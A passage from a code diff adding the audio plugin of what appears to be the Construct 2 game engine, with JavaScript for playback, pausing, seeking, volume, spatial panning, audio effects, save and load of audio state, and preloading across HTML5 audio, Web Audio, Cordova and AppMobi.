+ this.pannerNode["maxDistance"] = maxDistance;
+ this.pannerNode["rolloffFactor"] = rolloffFactor;
+ }
+ this.gainNode["disconnect"]();
+ this.gainNode["connect"](this.pannerNode);
+ this.pannerNode["connect"](getDestinationForTag(this.tag));
+ this.pannerEnabled = true;
+ }
+ else if (this.pannerEnabled && !enable_)
+ {
+ if (!this.gainNode)
+ return;
+ this.pannerNode["disconnect"]();
+ this.gainNode["disconnect"]();
+ this.gainNode["connect"](getDestinationForTag(this.tag));
+ this.pannerEnabled = false;
+ }
+ };
+ C2AudioInstance.prototype.setPan = function (x, y, angle, innerangle, outerangle, outergain)
+ {
+ if (!this.pannerEnabled || api !== API_WEBAUDIO)
+ return;
+ this.pannerNode["setPosition"](x, y, 0);
+ this.pannerNode["setOrientation"](Math.cos(cr.to_radians(angle)), Math.sin(cr.to_radians(angle)), 0);
+ this.pannerNode["coneInnerAngle"] = innerangle;
+ this.pannerNode["coneOuterAngle"] = outerangle;
+ this.pannerNode["coneOuterGain"] = outergain;
+ this.panX = x;
+ this.panY = y;
+ this.panAngle = angle;
+ this.panConeInner = innerangle;
+ this.panConeOuter = outerangle;
+ this.panConeOuterGain = outergain;
+ };
+ C2AudioInstance.prototype.setObject = function (o)
+ {
+ if (!this.pannerEnabled || api !== API_WEBAUDIO)
+ return;
+ if (!this.objectTracker)
+ this.objectTracker = new ObjectTracker();
+ this.objectTracker.setObject(o);
+ };
+ C2AudioInstance.prototype.tick = function (dt)
+ {
+ if (!this.pannerEnabled || api !== API_WEBAUDIO || !this.objectTracker || !this.objectTracker.hasObject() || !this.isPlaying())
+ {
+ return;
+ }
+ this.objectTracker.tick(dt);
+ var inst = this.objectTracker.obj;
+ var px = cr.rotatePtAround(inst.x, inst.y, -inst.layer.getAngle(), listenerX, listenerY, true);
+ var py = cr.rotatePtAround(inst.x, inst.y, -inst.layer.getAngle(), listenerX, listenerY, false);
+ this.pannerNode["setPosition"](px, py, 0);
+ var a = 0;
+ if (typeof this.objectTracker.obj.angle !== "undefined")
+ {
+ a = inst.angle - inst.layer.getAngle();
+ this.pannerNode["setOrientation"](Math.cos(a), Math.sin(a), 0);
+ }
+ };
+ C2AudioInstance.prototype.play = function (looping, vol, fromPosition, scheduledTime)
+ {
+ var instobj = this.instanceObject;
+ this.looping = looping;
+ this.volume = vol;
+ var seekPos = fromPosition || 0;
+ scheduledTime = scheduledTime || 0;
+ switch (this.myapi) {
+ case API_HTML5:
+ if (instobj.playbackRate !== 1.0)
+ instobj.playbackRate = 1.0;
+ if (instobj.volume !== vol * masterVolume)
+ instobj.volume = vol * masterVolume;
+ if (instobj.loop !== looping)
+ instobj.loop = looping;
+ if (instobj.muted)
+ instobj.muted = false;
+ if (instobj.currentTime !== seekPos)
+ {
+ try {
+ instobj.currentTime = seekPos;
+ }
+ catch (err)
+ {
+;
+ }
+ }
+ tryPlayAudioElement(this);
+ break;
+ case API_WEBAUDIO:
+ this.muted = false;
+ this.mutevol = 1;
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ this.gainNode["gain"]["value"] = vol * masterVolume;
+ if (!this.fresh)
+ {
+ this.instanceObject = context["createBufferSource"]();
+ this.instanceObject["buffer"] = this.buffer.bufferObject;
+ this.instanceObject["connect"](this.gainNode);
+ }
+ this.instanceObject["onended"] = this.onended_handler;
+ this.active_buffer = this.instanceObject;
+ this.instanceObject.loop = looping;
+ this.hasPlaybackEnded = false;
+ if (seekPos === 0)
+ startSource(this.instanceObject, scheduledTime);
+ else
+ startSourceAt(this.instanceObject, seekPos, this.getDuration(), scheduledTime);
+ }
+ else
+ {
+ if (instobj.playbackRate !== 1.0)
+ instobj.playbackRate = 1.0;
+ if (instobj.loop !== looping)
+ instobj.loop = looping;
+ instobj.volume = vol * masterVolume;
+ if (instobj.currentTime !== seekPos)
+ {
+ try {
+ instobj.currentTime = seekPos;
+ }
+ catch (err)
+ {
+;
+ }
+ }
+ tryPlayAudioElement(this);
+ }
+ break;
+ case API_CORDOVA:
+ if ((!this.fresh && this.stopped) || seekPos !== 0)
+ instobj["seekTo"](seekPos);
+ instobj["play"]();
+ this.hasPlaybackEnded = false;
+ break;
+ case API_APPMOBI:
+ if (audRuntime.isDirectCanvas)
+ AppMobi["context"]["playSound"](this.src, looping);
+ else
+ AppMobi["player"]["playSound"](this.src, looping);
+ break;
+ }
+ this.playbackRate = 1;
+ this.startTime = (this.isTimescaled ? audRuntime.kahanTime.sum : audRuntime.wallTime.sum) - seekPos;
+ this.fresh = false;
+ this.stopped = false;
+ this.is_paused = false;
+ };
+ C2AudioInstance.prototype.stop = function ()
+ {
+ switch (this.myapi) {
+ case API_HTML5:
+ if (!this.instanceObject.paused)
+ this.instanceObject.pause();
+ break;
+ case API_WEBAUDIO:
+ if (this.buffer.myapi === API_WEBAUDIO)
+ stopSource(this.instanceObject);
+ else
+ {
+ if (!this.instanceObject.paused)
+ this.instanceObject.pause();
+ }
+ break;
+ case API_CORDOVA:
+ this.instanceObject["stop"]();
+ break;
+ case API_APPMOBI:
+ if (audRuntime.isDirectCanvas)
+ AppMobi["context"]["stopSound"](this.src);
+ break;
+ }
+ this.stopped = true;
+ this.is_paused = false;
+ };
+ C2AudioInstance.prototype.pause = function ()
+ {
+ if (this.fresh || this.stopped || this.hasEnded() || this.is_paused)
+ return;
+ switch (this.myapi) {
+ case API_HTML5:
+ if (!this.instanceObject.paused)
+ this.instanceObject.pause();
+ break;
+ case API_WEBAUDIO:
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ this.resume_position = this.getPlaybackTime(true);
+ if (this.looping)
+ this.resume_position = this.resume_position % this.getDuration();
+ this.is_paused = true;
+ stopSource(this.instanceObject);
+ }
+ else
+ {
+ if (!this.instanceObject.paused)
+ this.instanceObject.pause();
+ }
+ break;
+ case API_CORDOVA:
+ this.instanceObject["pause"]();
+ break;
+ case API_APPMOBI:
+ if (audRuntime.isDirectCanvas)
+ AppMobi["context"]["stopSound"](this.src);
+ break;
+ }
+ this.is_paused = true;
+ };
+ C2AudioInstance.prototype.resume = function ()
+ {
+ if (this.fresh || this.stopped || this.hasEnded() || !this.is_paused)
+ return;
+ switch (this.myapi) {
+ case API_HTML5:
+ tryPlayAudioElement(this);
+ break;
+ case API_WEBAUDIO:
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ this.instanceObject = context["createBufferSource"]();
+ this.instanceObject["buffer"] = this.buffer.bufferObject;
+ this.instanceObject["connect"](this.gainNode);
+ this.instanceObject["onended"] = this.onended_handler;
+ this.active_buffer = this.instanceObject;
+ this.instanceObject.loop = this.looping;
+ this.gainNode["gain"]["value"] = masterVolume * this.volume * this.mutevol;
+ this.updatePlaybackRate();
+ this.startTime = (this.isTimescaled ? audRuntime.kahanTime.sum : audRuntime.wallTime.sum) - (this.resume_position / (this.playbackRate || 0.001));
+ startSourceAt(this.instanceObject, this.resume_position, this.getDuration());
+ }
+ else
+ {
+ tryPlayAudioElement(this);
+ }
+ break;
+ case API_CORDOVA:
+ this.instanceObject["play"]();
+ break;
+ case API_APPMOBI:
+ if (audRuntime.isDirectCanvas)
+ AppMobi["context"]["resumeSound"](this.src);
+ break;
+ }
+ this.is_paused = false;
+ };
+ C2AudioInstance.prototype.seek = function (pos)
+ {
+ if (this.fresh || this.stopped || this.hasEnded())
+ return;
+ switch (this.myapi) {
+ case API_HTML5:
+ try {
+ this.instanceObject.currentTime = pos;
+ }
+ catch (e) {}
+ break;
+ case API_WEBAUDIO:
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ if (this.is_paused)
+ this.resume_position = pos;
+ else
+ {
+ this.pause();
+ this.resume_position = pos;
+ this.resume();
+ }
+ }
+ else
+ {
+ try {
+ this.instanceObject.currentTime = pos;
+ }
+ catch (e) {}
+ }
+ break;
+ case API_CORDOVA:
+ break;
+ case API_APPMOBI:
+ if (audRuntime.isDirectCanvas)
+ AppMobi["context"]["seekSound"](this.src, pos);
+ break;
+ }
+ };
+ C2AudioInstance.prototype.reconnect = function (toNode)
+ {
+ if (this.myapi !== API_WEBAUDIO)
+ return;
+ if (this.pannerEnabled)
+ {
+ this.pannerNode["disconnect"]();
+ this.pannerNode["connect"](toNode);
+ }
+ else
+ {
+ this.gainNode["disconnect"]();
+ this.gainNode["connect"](toNode);
+ }
+ };
+ C2AudioInstance.prototype.getDuration = function (applyPlaybackRate)
+ {
+ var ret = 0;
+ switch (this.myapi) {
+ case API_HTML5:
+ if (typeof this.instanceObject.duration !== "undefined")
+ ret = this.instanceObject.duration;
+ break;
+ case API_WEBAUDIO:
+ ret = this.buffer.bufferObject["duration"];
+ break;
+ case API_CORDOVA:
+ ret = this.instanceObject["getDuration"]();
+ break;
+ case API_APPMOBI:
+ if (audRuntime.isDirectCanvas)
+ ret = AppMobi["context"]["getDurationSound"](this.src);
+ break;
+ }
+ if (applyPlaybackRate)
+ ret /= (this.playbackRate || 0.001); // avoid divide-by-zero
+ return ret;
+ };
+ C2AudioInstance.prototype.getPlaybackTime = function (applyPlaybackRate)
+ {
+ var duration = this.getDuration();
+ var ret = 0;
+ switch (this.myapi) {
+ case API_HTML5:
+ if (typeof this.instanceObject.currentTime !== "undefined")
+ ret = this.instanceObject.currentTime;
+ break;
+ case API_WEBAUDIO:
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ if (this.is_paused)
+ return this.resume_position;
+ else
+ ret = (this.isTimescaled ? audRuntime.kahanTime.sum : audRuntime.wallTime.sum) - this.startTime;
+ }
+ else if (typeof this.instanceObject.currentTime !== "undefined")
+ ret = this.instanceObject.currentTime;
+ break;
+ case API_CORDOVA:
+ break;
+ case API_APPMOBI:
+ if (audRuntime.isDirectCanvas)
+ ret = AppMobi["context"]["getPlaybackTimeSound"](this.src);
+ break;
+ }
+ if (applyPlaybackRate)
+ ret *= this.playbackRate;
+ if (!this.looping && ret > duration)
+ ret = duration;
+ return ret;
+ };
+ C2AudioInstance.prototype.isPlaying = function ()
+ {
+ return !this.is_paused && !this.fresh && !this.stopped && !this.hasEnded();
+ };
+ C2AudioInstance.prototype.shouldSave = function ()
+ {
+ return !this.fresh && !this.stopped && !this.hasEnded();
+ };
+ C2AudioInstance.prototype.setVolume = function (v)
+ {
+ this.volume = v;
+ this.updateVolume();
+ };
+ C2AudioInstance.prototype.updateVolume = function ()
+ {
+ var volToSet = this.volume * masterVolume;
+ if (!isFinite(volToSet))
+ volToSet = 0; // HTMLMediaElement throws if setting non-finite volume
+ switch (this.myapi) {
+ case API_HTML5:
+ if (typeof this.instanceObject.volume !== "undefined" && this.instanceObject.volume !== volToSet)
+ this.instanceObject.volume = volToSet;
+ break;
+ case API_WEBAUDIO:
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ this.gainNode["gain"]["value"] = volToSet * this.mutevol;
+ }
+ else
+ {
+ if (typeof this.instanceObject.volume !== "undefined" && this.instanceObject.volume !== volToSet)
+ this.instanceObject.volume = volToSet;
+ }
+ break;
+ case API_CORDOVA:
+ break;
+ case API_APPMOBI:
+ break;
+ }
+ };
+ C2AudioInstance.prototype.getVolume = function ()
+ {
+ return this.volume;
+ };
+ C2AudioInstance.prototype.doSetMuted = function (m)
+ {
+ switch (this.myapi) {
+ case API_HTML5:
+ if (this.instanceObject.muted !== !!m)
+ this.instanceObject.muted = !!m;
+ break;
+ case API_WEBAUDIO:
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ this.mutevol = (m ? 0 : 1);
+ this.gainNode["gain"]["value"] = masterVolume * this.volume * this.mutevol;
+ }
+ else
+ {
+ if (this.instanceObject.muted !== !!m)
+ this.instanceObject.muted = !!m;
+ }
+ break;
+ case API_CORDOVA:
+ break;
+ case API_APPMOBI:
+ break;
+ }
+ };
+ C2AudioInstance.prototype.setMuted = function (m)
+ {
+ this.is_muted = !!m;
+ this.doSetMuted(this.is_muted || this.is_silent);
+ };
+ C2AudioInstance.prototype.setSilent = function (m)
+ {
+ this.is_silent = !!m;
+ this.doSetMuted(this.is_muted || this.is_silent);
+ };
+ C2AudioInstance.prototype.setLooping = function (l)
+ {
+ this.looping = l;
+ switch (this.myapi) {
+ case API_HTML5:
+ if (this.instanceObject.loop !== !!l)
+ this.instanceObject.loop = !!l;
+ break;
+ case API_WEBAUDIO:
+ if (this.instanceObject.loop !== !!l)
+ this.instanceObject.loop = !!l;
+ break;
+ case API_CORDOVA:
+ break;
+ case API_APPMOBI:
+ if (audRuntime.isDirectCanvas)
+ AppMobi["context"]["setLoopingSound"](this.src, l);
+ break;
+ }
+ };
+ C2AudioInstance.prototype.setPlaybackRate = function (r)
+ {
+ this.playbackRate = r;
+ this.updatePlaybackRate();
+ };
+ C2AudioInstance.prototype.updatePlaybackRate = function ()
+ {
+ var r = this.playbackRate;
+ if (this.isTimescaled)
+ r *= audRuntime.timescale;
+ switch (this.myapi) {
+ case API_HTML5:
+ if (this.instanceObject.playbackRate !== r)
+ this.instanceObject.playbackRate = r;
+ break;
+ case API_WEBAUDIO:
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ if (this.instanceObject["playbackRate"]["value"] !== r)
+ this.instanceObject["playbackRate"]["value"] = r;
+ }
+ else
+ {
+ if (this.instanceObject.playbackRate !== r)
+ this.instanceObject.playbackRate = r;
+ }
+ break;
+ case API_CORDOVA:
+ break;
+ case API_APPMOBI:
+ break;
+ }
+ };
+ C2AudioInstance.prototype.setSuspended = function (s)
+ {
+ switch (this.myapi) {
+ case API_HTML5:
+ if (s)
+ {
+ if (this.isPlaying())
+ {
+ this.resume_me = true;
+ this.instanceObject["pause"]();
+ }
+ else
+ this.resume_me = false;
+ }
+ else
+ {
+ if (this.resume_me)
+ {
+ this.instanceObject["play"]();
+ this.resume_me = false;
+ }
+ }
+ break;
+ case API_WEBAUDIO:
+ if (s)
+ {
+ if (this.isPlaying())
+ {
+ this.resume_me = true;
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ this.resume_position = this.getPlaybackTime(true);
+ if (this.looping)
+ this.resume_position = this.resume_position % this.getDuration();
+ stopSource(this.instanceObject);
+ }
+ else
+ this.instanceObject["pause"]();
+ }
+ else
+ this.resume_me = false;
+ }
+ else
+ {
+ if (this.resume_me)
+ {
+ if (this.buffer.myapi === API_WEBAUDIO)
+ {
+ this.instanceObject = context["createBufferSource"]();
+ this.instanceObject["buffer"] = this.buffer.bufferObject;
+ this.instanceObject["connect"](this.gainNode);
+ this.instanceObject["onended"] = this.onended_handler;
+ this.active_buffer = this.instanceObject;
+ this.instanceObject.loop = this.looping;
+ this.gainNode["gain"]["value"] = masterVolume * this.volume * this.mutevol;
+ this.updatePlaybackRate();
+ this.startTime = (this.isTimescaled ? audRuntime.kahanTime.sum : audRuntime.wallTime.sum) - (this.resume_position / (this.playbackRate || 0.001));
+ startSourceAt(this.instanceObject, this.resume_position, this.getDuration());
+ }
+ else
+ {
+ this.instanceObject["play"]();
+ }
+ this.resume_me = false;
+ }
+ }
+ break;
+ case API_CORDOVA:
+ if (s)
+ {
+ if (this.isPlaying())
+ {
+ this.instanceObject["pause"]();
+ this.resume_me = true;
+ }
+ else
+ this.resume_me = false;
+ }
+ else
+ {
+ if (this.resume_me)
+ {
+ this.resume_me = false;
+ this.instanceObject["play"]();
+ }
+ }
+ break;
+ case API_APPMOBI:
+ break;
+ }
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ audRuntime = this.runtime;
+ audInst = this;
+ this.listenerTracker = null;
+ this.listenerZ = -600;
+ if (this.runtime.isWKWebView)
+ playMusicAsSoundWorkaround = true;
+ if ((this.runtime.isiOS || (this.runtime.isAndroid && (this.runtime.isChrome || this.runtime.isAndroidStockBrowser))) && !this.runtime.isCrosswalk && !this.runtime.isDomFree && !this.runtime.isAmazonWebApp && !playMusicAsSoundWorkaround)
+ {
+ useNextTouchWorkaround = true;
+ }
+ context = null;
+ if (typeof AudioContext !== "undefined")
+ {
+ api = API_WEBAUDIO;
+ context = new AudioContext();
+ }
+ else if (typeof webkitAudioContext !== "undefined")
+ {
+ api = API_WEBAUDIO;
+ context = new webkitAudioContext();
+ }
+ if (this.runtime.isiOS && context)
+ {
+ if (context.close)
+ context.close();
+ if (typeof AudioContext !== "undefined")
+ context = new AudioContext();
+ else if (typeof webkitAudioContext !== "undefined")
+ context = new webkitAudioContext();
+ }
+ if (api !== API_WEBAUDIO)
+ {
+ if (this.runtime.isCordova && typeof window["Media"] !== "undefined")
+ api = API_CORDOVA;
+ else if (this.runtime.isAppMobi)
+ api = API_APPMOBI;
+ }
+ if (api === API_CORDOVA)
+ {
+ appPath = location.href;
+ var i = appPath.lastIndexOf("/");
+ if (i > -1)
+ appPath = appPath.substr(0, i + 1);
+ appPath = appPath.replace("file://", "");
+ }
+ if (this.runtime.isSafari && this.runtime.isWindows && typeof Audio === "undefined")
+ {
+ alert("It looks like you're using Safari for Windows without Quicktime. Audio cannot be played until Quicktime is installed.");
+ this.runtime.DestroyInstance(this);
+ }
+ else
+ {
+ if (this.runtime.isDirectCanvas)
+ useOgg = this.runtime.isAndroid; // AAC on iOS, OGG on Android
+ else
+ {
+ try {
+ useOgg = !!(new Audio().canPlayType('audio/ogg; codecs="vorbis"')) &&
+ !this.runtime.isWindows10;
+ }
+ catch (e)
+ {
+ useOgg = false;
+ }
+ }
+ switch (api) {
+ case API_HTML5:
+;
+ break;
+ case API_WEBAUDIO:
+;
+ break;
+ case API_CORDOVA:
+;
+ break;
+ case API_APPMOBI:
+;
+ break;
+ default:
+;
+ }
+ this.runtime.tickMe(this);
+ }
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ instanceProto.onCreate = function ()
+ {
+ this.runtime.audioInstance = this;
+ timescale_mode = this.properties[0]; // 0 = off, 1 = sounds only, 2 = all
+ this.saveload = this.properties[1]; // 0 = all, 1 = sounds only, 2 = music only, 3 = none
+ this.playinbackground = (this.properties[2] !== 0);
+ this.nextPlayTime = 0;
+ panningModel = this.properties[3]; // 0 = equalpower, 1 = hrtf, 3 = soundfield
+ distanceModel = this.properties[4]; // 0 = linear, 1 = inverse, 2 = exponential
+ this.listenerZ = -this.properties[5];
+ refDistance = this.properties[6];
+ maxDistance = this.properties[7];
+ rolloffFactor = this.properties[8];
+ this.listenerTracker = new ObjectTracker();
+ var draw_width = (this.runtime.draw_width || this.runtime.width);
+ var draw_height = (this.runtime.draw_height || this.runtime.height);
+ if (api === API_WEBAUDIO)
+ {
+ context["listener"]["setPosition"](draw_width / 2, draw_height / 2, this.listenerZ);
+ context["listener"]["setOrientation"](0, 0, 1, 0, -1, 0);
+ window["c2OnAudioMicStream"] = function (localMediaStream, tag)
+ {
+ if (micSource)
+ micSource["disconnect"]();
+ micTag = tag.toLowerCase();
+ micSource = context["createMediaStreamSource"](localMediaStream);
+ micSource["connect"](getDestinationForTag(micTag));
+ };
+ }
+ this.runtime.addSuspendCallback(function(s)
+ {
+ audInst.onSuspend(s);
+ });
+ var self = this;
+ this.runtime.addDestroyCallback(function (inst)
+ {
+ self.onInstanceDestroyed(inst);
+ });
+ };
+ instanceProto.onInstanceDestroyed = function (inst)
+ {
+ var i, len, a;
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ {
+ a = audioInstances[i];
+ if (a.objectTracker)
+ {
+ if (a.objectTracker.obj === inst)
+ {
+ a.objectTracker.obj = null;
+ if (a.pannerEnabled && a.isPlaying() && a.looping)
+ a.stop();
+ }
+ }
+ }
+ if (this.listenerTracker.obj === inst)
+ this.listenerTracker.obj = null;
+ };
+ instanceProto.saveToJSON = function ()
+ {
+ var o = {
+ "silent": silent,
+ "masterVolume": masterVolume,
+ "listenerZ": this.listenerZ,
+ "listenerUid": this.listenerTracker.hasObject() ? this.listenerTracker.obj.uid : -1,
+ "playing": [],
+ "effects": {}
+ };
+ var playingarr = o["playing"];
+ var i, len, a, d, p, panobj, playbackTime;
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ {
+ a = audioInstances[i];
+ if (!a.shouldSave())
+ continue; // no need to save stopped sounds
+ if (this.saveload === 3) // not saving/loading any sounds/music
+ continue;
+ if (a.is_music && this.saveload === 1) // not saving/loading music
+ continue;
+ if (!a.is_music && this.saveload === 2) // not saving/loading sound
+ continue;
+ playbackTime = a.getPlaybackTime();
+ if (a.looping)
+ playbackTime = playbackTime % a.getDuration();
+ d = {
+ "tag": a.tag,
+ "buffersrc": a.buffer.src,
+ "is_music": a.is_music,
+ "playbackTime": playbackTime,
+ "volume": a.volume,
+ "looping": a.looping,
+ "muted": a.is_muted,
+ "playbackRate": a.playbackRate,
+ "paused": a.is_paused,
+ "resume_position": a.resume_position
+ };
+ if (a.pannerEnabled)
+ {
+ d["pan"] = {};
+ panobj = d["pan"];
+ if (a.objectTracker && a.objectTracker.hasObject())
+ {
+ panobj["objUid"] = a.objectTracker.obj.uid;
+ }
+ else
+ {
+ panobj["x"] = a.panX;
+ panobj["y"] = a.panY;
+ panobj["a"] = a.panAngle;
+ }
+ panobj["ia"] = a.panConeInner;
+ panobj["oa"] = a.panConeOuter;
+ panobj["og"] = a.panConeOuterGain;
+ }
+ playingarr.push(d);
+ }
+ var fxobj = o["effects"];
+ var fxarr;
+ for (p in effects)
+ {
+ if (effects.hasOwnProperty(p))
+ {
+ fxarr = [];
+ for (i = 0, len = effects[p].length; i < len; i++)
+ {
+ fxarr.push({ "type": effects[p][i].type, "params": effects[p][i].params });
+ }
+ fxobj[p] = fxarr;
+ }
+ }
+ return o;
+ };
+ var objectTrackerUidsToLoad = [];
+ instanceProto.loadFromJSON = function (o)
+ {
+ var setSilent = o["silent"];
+ masterVolume = o["masterVolume"];
+ this.listenerZ = o["listenerZ"];
+ this.listenerTracker.setObject(null);
+ var listenerUid = o["listenerUid"];
+ if (listenerUid !== -1)
+ {
+ this.listenerTracker.loadUid = listenerUid;
+ objectTrackerUidsToLoad.push(this.listenerTracker);
+ }
+ var playingarr = o["playing"];
+ var i, len, d, src, is_music, tag, playbackTime, looping, vol, b, a, p, pan, panObjUid;
+ if (this.saveload !== 3)
+ {
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ {
+ a = audioInstances[i];
+ if (a.is_music && this.saveload === 1)
+ continue; // only saving/loading sound: leave music playing
+ if (!a.is_music && this.saveload === 2)
+ continue; // only saving/loading music: leave sound playing
+ a.stop();
+ }
+ }
+ var fxarr, fxtype, fxparams, fx;
+ for (p in effects)
+ {
+ if (effects.hasOwnProperty(p))
+ {
+ for (i = 0, len = effects[p].length; i < len; i++)
+ effects[p][i].remove();
+ }
+ }
+ cr.wipe(effects);
+ for (p in o["effects"])
+ {
+ if (o["effects"].hasOwnProperty(p))
+ {
+ fxarr = o["effects"][p];
+ for (i = 0, len = fxarr.length; i < len; i++)
+ {
+ fxtype = fxarr[i]["type"];
+ fxparams = fxarr[i]["params"];
+ switch (fxtype) {
+ case "filter":
+ addEffectForTag(p, new FilterEffect(fxparams[0], fxparams[1], fxparams[2], fxparams[3], fxparams[4], fxparams[5]));
+ break;
+ case "delay":
+ addEffectForTag(p, new DelayEffect(fxparams[0], fxparams[1], fxparams[2]));
+ break;
+ case "convolve":
+ src = fxparams[2];
+ b = this.getAudioBuffer(src, false);
+ if (b.bufferObject)
+ {
+ fx = new ConvolveEffect(b.bufferObject, fxparams[0], fxparams[1], src);
+ }
+ else
+ {
+ fx = new ConvolveEffect(null, fxparams[0], fxparams[1], src);
+ b.normalizeWhenReady = fxparams[0];
+ b.convolveWhenReady = fx;
+ }
+ addEffectForTag(p, fx);
+ break;
+ case "flanger":
+ addEffectForTag(p, new FlangerEffect(fxparams[0], fxparams[1], fxparams[2], fxparams[3], fxparams[4]));
+ break;
+ case "phaser":
+ addEffectForTag(p, new PhaserEffect(fxparams[0], fxparams[1], fxparams[2], fxparams[3], fxparams[4], fxparams[5]));
+ break;
+ case "gain":
+ addEffectForTag(p, new GainEffect(fxparams[0]));
+ break;
+ case "tremolo":
+ addEffectForTag(p, new TremoloEffect(fxparams[0], fxparams[1]));
+ break;
+ case "ringmod":
+ addEffectForTag(p, new RingModulatorEffect(fxparams[0], fxparams[1]));
+ break;
+ case "distortion":
+ addEffectForTag(p, new DistortionEffect(fxparams[0], fxparams[1], fxparams[2], fxparams[3], fxparams[4]));
+ break;
+ case "compressor":
+ addEffectForTag(p, new CompressorEffect(fxparams[0], fxparams[1], fxparams[2], fxparams[3], fxparams[4]));
+ break;
+ case "analyser":
+ addEffectForTag(p, new AnalyserEffect(fxparams[0], fxparams[1]));
+ break;
+ }
+ }
+ }
+ }
+ for (i = 0, len = playingarr.length; i < len; i++)
+ {
+ if (this.saveload === 3) // not saving/loading any sounds/music
+ continue;
+ d = playingarr[i];
+ src = d["buffersrc"];
+ is_music = d["is_music"];
+ tag = d["tag"];
+ playbackTime = d["playbackTime"];
+ looping = d["looping"];
+ vol = d["volume"];
+ pan = d["pan"];
+ panObjUid = (pan && pan.hasOwnProperty("objUid")) ? pan["objUid"] : -1;
+ if (is_music && this.saveload === 1) // not saving/loading music
+ continue;
+ if (!is_music && this.saveload === 2) // not saving/loading sound
+ continue;
+ a = this.getAudioInstance(src, tag, is_music, looping, vol);
+ if (!a)
+ {
+ b = this.getAudioBuffer(src, is_music);
+ b.seekWhenReady = playbackTime;
+ b.pauseWhenReady = d["paused"];
+ if (pan)
+ {
+ if (panObjUid !== -1)
+ {
+ b.panWhenReady.push({ objUid: panObjUid, ia: pan["ia"], oa: pan["oa"], og: pan["og"], thistag: tag });
+ }
+ else
+ {
+ b.panWhenReady.push({ x: pan["x"], y: pan["y"], a: pan["a"], ia: pan["ia"], oa: pan["oa"], og: pan["og"], thistag: tag });
+ }
+ }
+ continue;
+ }
+ a.resume_position = d["resume_position"];
+ a.setPannerEnabled(!!pan);
+ a.play(looping, vol, playbackTime);
+ a.updatePlaybackRate();
+ a.updateVolume();
+ a.doSetMuted(a.is_muted || a.is_silent);
+ if (d["paused"])
+ a.pause();
+ if (d["muted"])
+ a.setMuted(true);
+ a.doSetMuted(a.is_muted || a.is_silent);
+ if (pan)
+ {
+ if (panObjUid !== -1)
+ {
+ a.objectTracker = a.objectTracker || new ObjectTracker();
+ a.objectTracker.loadUid = panObjUid;
+ objectTrackerUidsToLoad.push(a.objectTracker);
+ }
+ else
+ {
+ a.setPan(pan["x"], pan["y"], pan["a"], pan["ia"], pan["oa"], pan["og"]);
+ }
+ }
+ }
+ if (setSilent && !silent) // setting silent
+ {
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ audioInstances[i].setSilent(true);
+ silent = true;
+ }
+ else if (!setSilent && silent) // setting not silent
+ {
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ audioInstances[i].setSilent(false);
+ silent = false;
+ }
+ };
+ instanceProto.afterLoad = function ()
+ {
+ var i, len, ot, inst;
+ for (i = 0, len = objectTrackerUidsToLoad.length; i < len; i++)
+ {
+ ot = objectTrackerUidsToLoad[i];
+ inst = this.runtime.getObjectByUID(ot.loadUid);
+ ot.setObject(inst);
+ ot.loadUid = -1;
+ if (inst)
+ {
+ listenerX = inst.x;
+ listenerY = inst.y;
+ }
+ }
+ cr.clearArray(objectTrackerUidsToLoad);
+ };
+ instanceProto.onSuspend = function (s)
+ {
+ if (this.playinbackground)
+ return;
+ if (!s && context && context["resume"])
+ {
+ context["resume"]();
+ isContextSuspended = false;
+ }
+ var i, len;
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ audioInstances[i].setSuspended(s);
+ if (s && context && context["suspend"])
+ {
+ context["suspend"]();
+ isContextSuspended = true;
+ }
+ };
+ instanceProto.tick = function ()
+ {
+ var dt = this.runtime.dt;
+ var i, len, a;
+ for (i = 0, len = audioInstances.length; i < len; i++)
+ {
+ a = audioInstances[i];
+ a.tick(dt);
+ if (timescale_mode !== 0)
+ a.updatePlaybackRate();
+ }
+ var p, arr, f;
+ for (p in effects)
+ {
+ if (effects.hasOwnProperty(p))
+ {
+ arr = effects[p];
+ for (i = 0, len = arr.length; i < len; i++)
+ {
+ f = arr[i];
+ if (f.tick)
+ f.tick();
+ }
+ }
+ }
+ if (api === API_WEBAUDIO && this.listenerTracker.hasObject())
+ {
+ this.listenerTracker.tick(dt);
+ listenerX = this.listenerTracker.obj.x;
+ listenerY = this.listenerTracker.obj.y;
+ context["listener"]["setPosition"](this.listenerTracker.obj.x, this.listenerTracker.obj.y, this.listenerZ);
+ }
+ };
+ var preload_list = [];
+ instanceProto.setPreloadList = function (arr)
+ {
+ var i, len, p, filename, size, isOgg;
+ var total_size = 0;
+ for (i = 0, len = arr.length; i < len; ++i)
+ {
+ p = arr[i];
+ filename = p[0];
+ size = p[1] * 2;
+ isOgg = (filename.length > 4 && filename.substr(filename.length - 4) === ".ogg");
+ if ((isOgg && useOgg) || (!isOgg && !useOgg))
+ {
+ preload_list.push({
+ filename: filename,
+ size: size,
+ obj: null
+ });
+ total_size += size;
+ }
+ }
+ return total_size;
+ };
+ instanceProto.startPreloads = function ()
+ {
+ var i, len, p, src;
+ for (i = 0, len = preload_list.length; i < len; ++i)
+ {
+ p = preload_list[i];
+ src = this.runtime.files_subfolder + p.filename;
+ p.obj = this.getAudioBuffer(src, false);
+ }
+ };
+ instanceProto.getPreloadedSize = function ()
+ {
+ var completed = 0;
+ var i, len, p;
+ for (i = 0, len = preload_list.length; i < len; ++i)
+ {
+ p = preload_list[i];
+ if (p.obj.isLoadedAndDecoded() || p.obj.hasFailedToLoad() || this.runtime.isDomFree || this.runtime.isAndroidStockBrowser)
+ {
+ completed += p.size;
+ }
+ else if (p.obj.isLoaded()) // downloaded but not decoded: only happens in Web Audio API, count as half-way progress
+ {
+ completed += Math.floor(p.size / 2);
+ }
+ };
+ return completed;
+ };
